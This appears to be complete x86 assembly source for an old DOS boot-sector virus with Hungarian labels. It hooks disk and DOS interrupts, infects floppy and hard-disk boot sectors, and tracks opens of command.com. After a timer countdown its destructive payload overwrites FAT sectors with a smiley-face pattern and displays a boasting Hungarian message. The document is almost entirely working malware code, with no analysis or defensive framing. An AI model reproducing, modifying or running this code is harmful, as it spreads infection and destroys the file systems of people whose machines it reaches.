start segment assume cs:start,ds:start org 100h boot equ 0f00h kezd: db 52h,24h jmp hideg nop jmp meleg nop jmp tamad veg1: dw 0 kezd1: dw 0 meleg: pop si pop ds pop [si] pop [si+2] mov si,boot mov di,7c00h push cs pop ds xor ax,ax mov es,ax mov cx,100h pushf cld rep movsw popf ok1: db 0eah,00,7ch,0,0 hideg: xor ax,ax push si push di push cx cld mov di,offset flag1 mov si,offset flagv awq: stosb cmp di,si jc awq pop cx pop di pop si mov es,ax mov ax,es:word ptr [4ch] mov cs:word ptr [int13+1],ax mov ax,es:word ptr [4eh] mov cs:word ptr [int13+3],ax mov ax,offset it13 mov es:word ptr [4ch],ax mov es:[4eh],cs mov ax,es:word ptr [84h] mov cs:word ptr [int21+1],ax mov ax,es:word ptr [86h] mov cs:word ptr [int21+3],ax mov ax,0f000h mov es,ax mov al,es:byte ptr[0fff0h] cmp al,0eah jnz meleg mov ax,es:word ptr[0fff1h] mov cs:word ptr [reset+1],ax mov ax,es:word ptr[0fff3h] mov cs:word ptr [reset+3],ax jmp meleg int13: db 0eah,0,0,0,0 int21: db 0eah,0,0,0,0 int40: db 0eah,0,0,0,0 flag1: db 0 flag2: db 0 flag3: db 0 flag4: dw 0 flag5: db 0 flagv db 0 egys: db 0 sub13: cmp dl,0 jz sub40 visx: pushf push cs mov dl,cs:byte ptr [egys] call int13 ret sub40: push ax mov al,cs:byte ptr [flag5] cmp al,80 pop ax jmp visx pushf push cs call int40 ret subru: push ax push cx push dx push ds xor ax,ax mov ds,ax mov ax,ds:word ptr [78h] mov cs:word ptr [int1e],ax mov ax,ds:word ptr [7ah] mov cs:word ptr [int1e+2],ax mov al,cs:byte ptr [sav] cmp al,28h jz dds mov bx,offset hdtbl jmp hds dds: mov bx,offset dstbl mov cx,offset tb360 jmp okea hds: mov ax,cs:word ptr [szekt] mov cx,offset tb12 cmp ax,0fh jz okea mov cx,offset tb720 cmp ax,9 jz okea mov cx,offset tb14 okea: mov ds:word ptr [78h],cx mov ds:word ptr [7ah],cs pop ds pop dx pop cx pop ax call sub13 push ax push cx push dx push ds pushf xor ax,ax mov ds,ax mov ax,cs:word ptr [int1e] mov ds:word ptr [78h],ax mov ax,cs:word ptr [int1e+2] mov ds:word ptr [7ah],ax popf pop ds pop dx pop cx pop ax ret sub21: pushf push cs call int21 ret it21: cmp ah,3dh jnz fu3e push bx push cx push ax push dx push es push ds mov bx,dx cikl1: mov al,[bx] cmp al,0 jz veg inc bx jmp cikl1 veg: push si mov si,offset nev dec bx dec si mov cx,11 cikl2: mov al,[bx] or al,20h cmp al,cs:[si] jz nem4 jmp nem1 nem4: dec si dec bx loop cikl2 pop si pop ds pop es pop dx pop ax pop cx pop bx call sub21 jnc igen1 retf 2 igen1: mov cs:word ptr [flag4],ax nem2: clc retf 2 fu3e: cmp ah,3eh jz aah jmp int21 aah: cmp bx,cs:word ptr [flag4] jz folyt8 jmp int21 folyt8: cmp cs:word ptr [flag4],0 jnz folyt9 jmp int21 folyt9: mov cs:word ptr [flag4],0 call sub21 push ds push es push ax push bx push cx push dx mov cs:byte ptr [fo],0 ujfo: mov bx,200h mov ah,48h call sub21 cmp bx,200h jnc fogl nem3: pop dx pop cx pop bx pop ax pop es pop ds retf 2 fo: db 0 fogl: push ax and ax,0fffh cmp ax,0db0h jc okes1 pop ax cmp cs:byte ptr [fo],3 jz nem3 inc cs:byte ptr [fo] jmp ujfo okes1: pop ax okes: mov es,ax mov cs:word ptr [szegm],ax mov si,0 mov di,0 mov cx,1000h push cs pop ds pushf cld rep movsw popf xor ax,ax mov ds,ax mov ax,0 mov ds,ax mov ax,offset it21 mov dx,cs mov bx,0 mov cx,0fff0h tovabb: call keres jnz nincs push ax mov ax,cs:word ptr [int21+1] mov ds:word ptr [bx],ax mov ax,cs:word ptr [int21+3] mov ds:word ptr [bx+2],ax pop ax jmp tovabb reset: db 0eah,0f0h,0ffh,0,0f0h nincs: mov ax,offset it13 mov dx,cs mov bx,0 mov cx,0fff0h tovab1: call keres jnz kil2 push ax mov ax,es mov ds:word ptr [bx+2],ax pop ax jmp tovab1 kil2: mov ax,0 mov ds,ax mov ax,ds:word ptr [100h] mov es:word ptr [int40+1],ax mov ax,ds:word ptr [102h] mov es:word ptr [int40+3],ax call beszur mov ax,offset it40 jmp nem3 mov ds:word ptr [100h],ax mov ax,es mov ds:word ptr [102h],ax mov es:byte ptr [flag5],80 jmp nem3 keres: push ax push dx ker1: cmp word ptr[bx],ax jz van1 nincs1: inc bx loop ker1 inc cx kil1: pop dx pop ax ret van1: cmp word ptr [bx+2],dx jnz nincs1 jmp kil1 nem1: pop si pop ds pop es pop dx pop ax pop cx pop bx jmp int21 db 'command.com' nev: db 0 it13: push bx push ax push cx push dx push es push ds push di push si push cs pop ds push cx push ax push dx mov bx,offset atir mov cx,2 erdf: call ftr jc poiu loop erdf jmp reset ftr: mov al,90h clc mov [bx],al atir: stc nop nop nop nop nop nop nop mov al,0f9h mov [bx],al ret poiu: pop dx pop ax pop cx cmp cs:byte ptr [mod1],1 jnz awsw jmp leol awsw: mov cs:byte ptr [egys],dl cmp ah,2 jc aab cmp ah,4 jnc aab cmp cx,3 jnc aab cmp dh,0 jnz aab mov cs:byte ptr [flag3],80h aab: mov al,cs:byte ptr [flag1] cmp al,80h jz ugr1 xor ax,ax mov es,ax mov ax,es:word ptr [84h] cmp ax,cs:word ptr [int21+1] jz tov1 jmp dos tov1: mov ax,es:word ptr [86h] cmp ax,cs:word ptr [int21+3] jz ugr1 jmp dos ugr1: cmp di,55aah jnz norm cmp si,5aa5h jnz norm pop si mov si,0a55ah push si norm: cmp dl,20h jc lemeza cmp dl,80h jz win fdg: jmp kilep win: jmp wincsi it40: jmp int40 lemeza: mov al,cs:byte ptr [flag3] cmp al,80h jz lcsere cmp ah,5 jnz haha1 haha2: mov cs:byte ptr [flag3],84h jmp haha haha1: cmp al,0 jz haha dec cs:byte ptr [flag3] haha: jmp kilepo hah1: call sub13 jnc viter1 idt: cmp ah,6 jnz viter mov cs:byte ptr [flag3],80h viter: stc viter1: retf 2 lcsere: mov cs:byte ptr [flag2],0 cmp ah,5 jz haha2 mov cx,3 cikl7: push cx mov cs:byte ptr [flag3],0 mov bx,boot+200h mov ax,201h mov cx,1 mov dx,0 push cs pop es call sub13 pop cx jnc ugr4 loop cikl7 jmp kilep ugr4: push cs pop ds mov bx,boot+200h mov cx,200h mov ax,0cdfbh mov dx,7213h call keres jz folyt1 jmp kilep folyt1: mov cs:byte ptr [fert],1 mov ax,[bx+5] cmp ax,12cdh mov cs:word ptr [cime],bx mov cs:word ptr[wax],308h jz foi jmp folyt2 foi: mov al,cs:[bx+5+offset ver1-offset kezd2] cmp al,23 jnz meh mov ax,cs:[bx+6+offset ver1-offset kezd2] cmp ax,word ptr ver1+1 jnc kilepo meh: mov cs:word ptr [wax],307h jmp folyt2 fert: db 0,0 kilepo: pop si pop di pop ds pop es pop dx pop cx pop ax pop bx cmp dh,0 jz ugs jmp hah1 ugs: cmp cx,1 jz bout1 jmp hah1 bout1: cmp ah,2 jz bout cmp ah,3 jz save jmp hah1 bout: call sub13 jnc ada jmp idt ada: cmp cs:byte ptr [flag1],80h jz ase jmp hah1 ase: push si pushf mov si,offset bot1 call ase1 popf pop si jmp viter1 save: cmp cs:byte ptr [fert],1 jz save2 jmp kif save2: mov cs:byte ptr [fert],0 push bx push ax push cx push dx push es push ds push di push si push es pop ds push cs pop es mov cx,200h mov si,bx mov di,offset boot+200h rep movsb jmp folyt3 kif: pop bx pop cx pop cx pop dx pop es pop ds pop di pop si clc jmp viter1 ase1: push bx push ax push cx push dx push di push ds push cs pop ds mov ax,cs:word ptr [cime] and ax,0ffh add bx,ax mov di,bx mov cx,59h pushf cld rep movsb popf pop ds pop di pop dx pop cx pop ax pop bx clc ret folyt2: mov bx,boot+200h mov ax,301h mov cx,1 mov dx,0 push cs pop es call sub13 jnc folyt3 jmp kilep folyt3: push cs pop ds mov bx,boot+200h mov ax,[bx+18h] mov cs:word ptr [szekt],ax mov cx,[bx+1ah] mul cx mov cx,ax mov ax,[bx+13h] mov dx,0 div cx mov cs:byte ptr [sav],al mov ch,al mov al,1 ugr3: nop mov cl,5 mov ah,5 push cs pop es mov dx,0 push cx cmp cs:word ptr [wax],307h clc jz waxi cmp cs:byte ptr [fert],0 clc jz waxi call subru waxi: push ds push ax pop ax pop ds pop cx jnc jo4 jmp kilep sav: db 0 wax: dw 0 szekt: dw 0 jo4: mov si,boot+200h mov di,boot push cs pop ds push cx mov cx,100h pushf cld rep movsw popf pop cx push cx mov ax,cs:word ptr [wax] mov dx,0 mov cl,1 mov bx,100h cmp cs:byte ptr [fert],0 clc jz hoho call sub13 hoho: pop cx jnc jo2 jmp kilep jo2: push cs pop ds push cx mov bx,boot+200h mov ax,0cdfbh mov dx,7213h mov cx,200h call keres pop cx jz jo3 jmp kilep jo3: push bx push cx mov cx,100h mov ax,0e432h mov dx,16cdh call keres jz jo5 pop cx pop bx jmp kilep jo5: sub bx,6 mov cs:word ptr [veg1],bx pop cx pop bx add bx,5 mov cs:word ptr [kezd1],bx mov cs:byte ptr [fej+2],ch push cx mov si,offset kezd2 mov bx,cs:word ptr [kezd1] mov cx,offset veg2-offset kezd2 push cs pop ds cikl9: mov al,[si] mov [bx],al inc bx inc si loop cikl9 cikl10: mov ds:byte ptr [bx],90h inc bx cmp bx,cs:word ptr [veg1] jc cikl10 pop cx mov cx,3 wqe: push cx mov cx,1 mov dx,0 mov ax,301h mov bx,boot+200h push cs pop es call sub13 jc kikk pop cx cmp cs:byte ptr [fert],0 jnz kig jmp kif kig: jmp kilepo kikk: pop cx loop wqe jmp kilep dos: nop mov al,80h mov cs:byte ptr [flag1],al mov ax,es:word ptr [84h] mov cs:word ptr [int21+1],ax mov ax,es:word ptr [86h] mov cs:word ptr [int21+3],ax mov ax,offset it21 mov es:word ptr [84h],ax mov es:[86h],cs kilep: pop si pop di pop ds pop es pop dx pop cx pop ax pop bx jmp int13 tamad: push cs pop ds mov cs:word ptr [szama],28800 xor ax,ax push si push di push cx cld mov di,offset flag1 mov si,offset flagv alsk: stosb cmp di,si jc alsk pop cx pop di pop si mov es,ax mov cs:byte ptr[flag1],80h mov ax,es:word ptr [4ch] mov cs:word ptr [int13+1],ax mov ax,es:word ptr [4eh] mov cs:word ptr [int13+3],ax mov ax,offset it13 mov es:word ptr[4ch],ax mov es:word ptr[4eh],cs mov ax,201h mov bx,offset boot+400h push cs pop es mov dx,180h mov cx,1 int 13h mov ax,0 mov es,ax mov ax,cs:word ptr [int13+1] mov es:word ptr[4ch],ax mov ax,cs:word ptr [int13+3] mov es:word ptr[4eh],ax mov ax,0f000h mov es,ax mov al,es:byte ptr [0fff0h] cmp al,0eah jnz akdj mov ax,es:word ptr [0fff1h] mov cs:word ptr [reset+1],ax mov ax,es:word ptr [0fff3h] mov cs:word ptr [reset+3],ax akdj: retf kezd2: int 12h mov bx,40h mul bx sub ax,1000h mov es,ax mov dx,0 jmp fej ver1: db 23,0,6 fej: mov cx,2801h mov ax,208h mov bx,100h push bx cmp es:word ptr [bx],2452h jz el1 int 13h pop bx jc veg2 push es mov ax,102h el2: push ax retf el1: mov bx,0f00h mov al,1 mov cl,8 int 13h pop bx jc veg2 push es mov ax,105h jmp el2 veg2: nop nop wincsi: jmp aba aasw: mov al,cs:byte ptr [flag2] cmp al,80h jz cxz jmp kilep cxz: pop si pop di pop ds pop es pop dx pop cx pop ax pop bx cmp ch,0 jz acb jmp abbb acb: cmp cl,0ah jc acd jmp abbb acd: cmp dh,0 jz ace jmp abbb ace: cmp ah,3 jnz abe mov cs:byte ptr [flag2],0 abb: push ax push bx push cx push dx mov dx,80h mov ax,201h mov cx,9 mov bx,offset boot+200h push es push cs pop es mov dx,80h call sub13 jc aca mov ax,301h mov cx,1 mov dx,80h mov bx,offset boot+200h call sub13 aca: pop es pop dx pop cx pop bx pop ax abbb: call sub13 jmp viter1 abe: cmp ah,2 jnz abbb push di push cx push dx push bx push ax push ax mov ah,0 mov di,ax pop ax abj: push cx cmp cl,1 jnz abh mov cl,9 jmp abi abh: mov cx,0ah abi: push bx push di mov al,1 push es mov ah,2 call sub13 pop es pop di pop bx pop cx jc abk add bx,200h mov cl,2 dec di jnz abj pop ax mov ah,0 pop bx pop dx pop cx pop di clc jmp viter1 abk: pop bx pop bx pop dx pop cx pop di mov al,0 jmp viter1 aba: mov al,cs:byte ptr [flag2] cmp al,80h jnz abc jmp aasw abc: cmp al,40h jnz abw jmp aasw abw: mov cx,3 ckld: push cx mov dx,80h mov cx,1 mov bx,offset boot mov ax,201h push cs pop es call sub13 pop cx jnc abdq loop ckld kias: jmp aasw abdq: mov dx,180h mov cx,1 mov bx,offset boot+200h mov ax,201h push cs pop es call sub13 jc kias mov bx,offset boot+200h mov ax,cs:[bx+1feh] cmp ax,0aa55h jz abd mov cs:byte ptr [flag2],40h jmp kias abd: push cs pop ds mov cx,3 mov bx,offset boot mov si,offset kezd3 kere: mov al,[bx] cmp al,[si] jnz nem9 inc bx inc si loop kere sub bx,3 add bx,offset ver2-kezd3 mov al,[bx] cmp al,23 jnz nemq mov ax,[si+offset ver2-offset kezd3] cmp ax,[bx+1] jc nemr nemq: mov ax,307h jmp nemw nemr: mov cs:byte ptr [flag2],80h jmp aasw nem9: mov ax,308h nemw: mov dx,80h mov cx,2 mov bx,100h call sub13 jnc oby jmp aasw oby: mov si,offset kezd3 mov cx,offset veg3-offset kezd3 mov di,offset boot pushf cld rep movsb popf mov ax,301h mov dx,80h mov cx,01h mov bx,offset boot call sub13 mov cs:byte ptr [flag2],80h jmp aasw kezd3: int 12h mov bx,40h mul bx sub ax,1000h mov es,ax xor ax,ax jmp ugas ver2: db 23,0,6 ugas: mov ss,ax mov sp,7c00h mov dx,80h mov cx,02h mov ax,208h mov bx,100h push bx cmp es:word ptr [bx],2452h jz el11 int 13h pop bx jc vege push es mov ax,102h el21: push ax retf el11: mov bx,0f00h mov al,1 mov cl,9 int 13h pop bx jc vege push es mov ax,105h jmp el21 vege: jmp vege ;szoveg kiiratasa veg3: nop nop cime: dw 0 bot1: sti int 13h db 72h,67h mov al,ds:[7c10h] cbw mul ds:word ptr [7c16h] add ax,ds:[7c1ch] add ax,ds:[7c0eh] mov ds:[7c3fh],ax mov ds:[7c37h],ax mov ax,20h mul ds:word ptr [7c11h] mov bx,ds:[7c0bh] add ax,bx dec ax div bx add ds:[7c37h],ax mov bx,0500h mov ax,ds:[7c3fh] db 0e8h,09fh,0 mov ax,201h db 0e8h,0b3h,0,72h,19h mov di,bx mov cx,0bh mov si,7dd6h repz cmpsb db 75h,0dh lea di,ds:[bx+20h] mov si,7d1eh mov cx,0bh repz movsb db 74h,18h db 0,0,0,0,0,0,0,0,0,0,0,0 tb12: db 0dfh,2,25h,2,0fh,1bh,0ffh,54h,0f6h,0fh,8,4fh,0,4 tb720: db 0d1h,2,25h,2,9,2ah,0ffh,50h,0f6h,0fh,4,4fh,80h,5 tb360: db 0dfh,2,25h,2,9,23h,0ffh,50h,0f6h,0fh,8,27h,40,3 tb14: db 0a1h,2,25h,2,12h,1bh,0ffh,60h,0f6h,0fh,4,4fh,0,7 int1e: dw 0,0,0,0,0,0,0,0 hdtbl: db 50h,0,1,2,50h,0,2,2,50h,0,3,2,50h,0,4,2,50h,0,5,2,50h,0,6,2,50h,0,7,2,50h,0,8,2,50h,0,9,2,50h,0,0ah,2,50h,0,0bh,2,50h,0,0ch,2,50h,0,0dh,2,50h,0,0eh,2 db 50h,0,0fh,2,50h,0,10h,2,50h,0,11h,2,50h,0,11h,2,50h,0,12h,2 dstbl: db 28h,0,1,2,28h,0,2,2,28h,0,3,2,28h,0,4,2,28h,0,5,2,28h,0,6,2,28h,0,7,2,28h,0,8,2,28h,0,9,2 mod2: db 0 mod1: db 0 beszur: push ax push bx push cx push dx push es push ds push di push si mov ax,201h mov cx,0ah mov bx,offset boot mov dx,80h push cs pop es pushf push cs call int13 mov es,cs:word ptr [szegm] mov es:word ptr [mod2],0 jc hib mov ax,cs:word ptr [boot] cmp al,23h jnz hib mov es:byte ptr [mod2],ah jmp hib hib: mov es,cs:word ptr[szegm] mov bx,offset kiiras mov cx,offset kiirv-offset kiiras mov al,es:[bx] cmp al,20h jnz hib1 cijk: mov al,es:[bx] xor al,45h mov es:[bx],al inc bx loop cijk hib1: mov ch,25h mov ah,4 int 1ah jc friss cmp cl,89h jc friss cmp ch,25h jz bete cmp dh,7 jnc bete jmp nbete friss: mov al,54h out 43h,al mov al,0ffh out 41h,al jmp nbete bete: cmp es:byte ptr [mod2],2 jz nbete mov ax,0 mov ds,cs:word ptr [szegm] mov es,ax mov ax,es:word ptr[70h] mov ds:word ptr [tim+1],ax mov ax,es:word ptr[72h] mov ds:word ptr [tim+3],ax mov ax,offset timer mov es:word ptr [70h],ax mov ax,cs:word ptr [szegm] mov es:word ptr [72h],ds nbete: pop si pop di pop ds pop es pop dx pop cx pop bx pop ax ret szegm: dw 0,0 tim: db 0eah,0,0,0,0,0 szama: dw 28800 timer: pushf push ax push bx push cx push dx push ds push cs pop ds mov cx,2 mov bx,offset atir mov al,cs:[bx] cmp al,90h jnz rwt jmp reset rwt: call ftr jc rwe loop rwt jmp reset rwe: pop ds mov ax,cs:word ptr [szama] dec ax kii: mov cs:word ptr [szama],ax jz gyilk1 pop dx pop cx pop bx pop ax popf jmp tim gyilk1: mov ax,28800 mov cs:byte ptr [mod1],1 inc ax jmp kii leol: mov bx,offset kiiras mov cx,offset kiirv-offset kiiras mov al,cs:[bx] cmp al,20h jz leol1 adla: mov al,cs:[bx] xor al,45h mov cs:[bx],al inc bx loop adla leol1: push cs pop ds cmp cs:byte ptr [mod2],1 jz atu irtas: mov si,offset graf mov di,offset boot mov cx,128 mov dl,4*9 push cs pop es push cs pop ds cld cvgh: rep movsb sub si,128 mov cx,128 dec dl jnz cvgh mov dx,180h mov ax,309h mov cx,2 mov bx,offset boot pushf push cs call int13 mov dx,280h mov ax,309h mov cx,2 mov bx,offset boot pushf push cs call int13 mov dx,0 mov ax,309h mov cx,1 mov bx,offset boot pushf push cs call int13 atu: mov si,offset kiiras mov al,2 mov ah,0 int 10h awqt: mov al,cs:[si] cmp al,0 jz kie mov ah,0eh mov bx,0 push si int 10h pop si inc si jmp awqt kie: cli hlt jmp kie kiiras: db ' Haha,vrus van a gpben!!',0dh,0ah,'Ez egy eddig mg nem kzismert vrus. De hamarosan az lesz.' db 0dh,0ah,'A neve egyszeren tltget ',0dh,0ah,'Ezt a nevt onnan kapta, hogy' db ' feltltgeti a FAT-tblt klnbz alakzatokkal.',0dh,0ah db 'Ez mr meg is trtnt !!! ',0dh,0ah,0,0 graf: db 32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32 db 32,01,01,01,01,01,01,32,32,01,01,01,01,01,01,32 db 01,32,32,32,32,32,32,01,01,32,32,32,32,32,32,01 db 01,32,01,32,32,01,32,01,01,32,01,32,32,01,32,01 db 01,32,32,32,32,32,32,01,01,32,32,32,32,32,32,01 db 01,32,01,01,01,01,32,01,01,32,01,01,01,01,32,01 db 32,01,32,32,32,32,01,32,32,01,32,32,32,32,01,32 db 32,32,01,01,01,01,32,32,32,32,01,01,01,01,32,32 kiirv: db 0 start ends end